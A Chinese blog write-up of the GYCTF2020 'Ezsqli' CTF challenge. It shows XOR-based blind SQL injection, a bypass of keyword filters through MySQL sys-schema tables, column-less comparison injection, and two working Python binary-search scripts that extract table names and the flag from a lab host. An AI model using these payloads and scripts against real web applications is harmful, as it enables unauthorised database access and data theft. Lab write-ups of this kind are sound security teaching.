[GYCTF2020]Ezsqli

话不多说,直接注
fuzz一波,发现输入分号和单引号无果,并且过滤了关键字符
猜测整形注入
在这里插入图片描述
无果,尝试异或注入

在这里插入图片描述
发现可行,这个注入我做的挺多了,就不细说了,具体可以去看我的博文 极客大挑战finalsql
注入的时候发现他过滤or 这样我们的information就不能用了

在这里插入图片描述
换成innodb_table_stats绕过也无果
在这里插入图片描述

发现sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer可以替代上面那个,果然条条道路通罗马
关于绕过详解
在这里插入图片描述

查表

import requests

url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa

payload_table='1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})^1'
flag =''
for i in range(1,100):
    low = 32
    high = 132
    mid = (low + high) //2
    while(low < high):
        payload = payload_table.format(i,mid)
        data={"id": payload}
        print(payload)
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            low = mid+1
        else:
            high = mid

        mid = (low+high) //2
    if(mid ==32 or mid == 127):
        break
    flag +=chr(mid)
    print(flag)




表名如下
在这里插入图片描述
f1ag_1s_h3r3_hhhhh,users233333333333333
并且这里还过滤了join,查列就非常困难了
在这里插入图片描述

但是这个只能查表,接着就只能用无列名注入了
对构造盲注无列名注入了解的还不够彻底emmmm
无列名注入讲解
这上面是帮助各位理解无列名的
具体参考Y1ng师傅的文章
记下
盲注无列名构造
参考文章
Y1ng师傅参考文献

payload

1^((1,'G')>(select * from f1ag_1s_h3r3_hhhhh))^1

简单说说这个比较吧
如果字符窜第一位的ascii码大于要比较的第一位,那么直接返回真
而我们这个注入只要查值,所以值的ascii码是要减一的
具体的详细解释可以参考上面Y1ng师傅的文章
我这边用了二分法进去,就不用等那么久一遍一遍遍历了
exp如下:

import requests

url='http://35737a35-63b7-4e60-a584-e5cbbead6dc6.node3.buuoj.cn/index.php'
#give_grandpa_pa_pa_pa

payload_flag='1^((1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh))'
flag =''
for i in range(1,100):
    low = 32
    high = 132
    mid = (low + high) //2
    while(low < high):
        k = flag+chr(mid)
        payload = payload_flag.format(k)
        data={"id": payload}
        print(payload)
        r = requests.post(url=url,data=data)
        if 'Nu1L' in r.text:
            low = mid+1
        else:
            high = mid

        mid = (low+high) //2
    if mid ==33:
        break
    flag +=chr(mid-1)
    print(flag.lower())#因为出来的flag是大写,这边全部转为小写
    
print(flag.lower())




#
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值